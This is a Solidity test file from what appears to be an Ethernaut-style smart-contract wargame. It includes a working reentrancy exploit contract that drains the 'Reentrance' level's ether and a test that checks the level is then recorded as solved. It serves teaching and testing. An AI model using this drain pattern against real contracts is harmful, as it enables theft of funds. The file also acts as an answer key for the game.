mirror of
https://github.com/lux-apps/game.git
synced 2026-10-30 18:15:14 +00:00
zeekayandHanzo Dev
8c2e9e3d6f
Each level test proves a fresh instance is unsolved, runs the reference exploit (contracts/src/attacks/* or the equivalent steps) and asserts Lux records completion. Motorbike stops at seizing the uninitialised Engine: its "engine destroyed" completion needs selfdestruct to delete code, which EIP-6780 forbids across transactions on the Cancun baseline, so the test proves the seizure and documents the limit. Co-authored-by: Hanzo Dev <[email protected]>
53 lines
1.5 KiB
Solidity
53 lines
1.5 KiB
Solidity
// SPDX-License-Identifier: MIT
|
|
pragma solidity 0.8.37;
|
|
|
|
import {LuxTest} from "../Base.t.sol";
|
|
import {ReentranceFactory} from "../../src/levels/ReentranceFactory.sol";
|
|
import {Reentrance} from "../../src/levels/Reentrance.sol";
|
|
|
|
/// @dev Drains the instance by re-entering withdraw before the (unchecked) debit.
|
|
contract ReentranceExploit {
|
|
Reentrance private target;
|
|
uint256 private amount;
|
|
|
|
constructor(address payable _target) payable {
|
|
target = Reentrance(_target);
|
|
}
|
|
|
|
function attack() external {
|
|
amount = address(target).balance;
|
|
target.donate{value: amount}(address(this));
|
|
target.withdraw(amount);
|
|
}
|
|
|
|
receive() external payable {
|
|
if (address(target).balance >= amount) {
|
|
target.withdraw(amount);
|
|
}
|
|
}
|
|
}
|
|
|
|
contract ReentranceLevel is LuxTest {
|
|
ReentranceFactory factory;
|
|
address player = makeAddr("player");
|
|
|
|
function setUp() public {
|
|
_deployCore();
|
|
factory = new ReentranceFactory();
|
|
_register(factory);
|
|
}
|
|
|
|
function test_solve() public {
|
|
vm.deal(address(factory), 1 ether); // factory forwards insertCoin to instance
|
|
address instance = _create(factory, player, 0.001 ether);
|
|
assertEq(instance.balance, 0.001 ether);
|
|
_assertUnsolved(instance, player);
|
|
|
|
ReentranceExploit exploit = (new ReentranceExploit){value: 0.001 ether}(payable(instance));
|
|
exploit.attack();
|
|
|
|
assertEq(instance.balance, 0);
|
|
_assertSolved(factory, instance, player);
|
|
}
|
|
}
|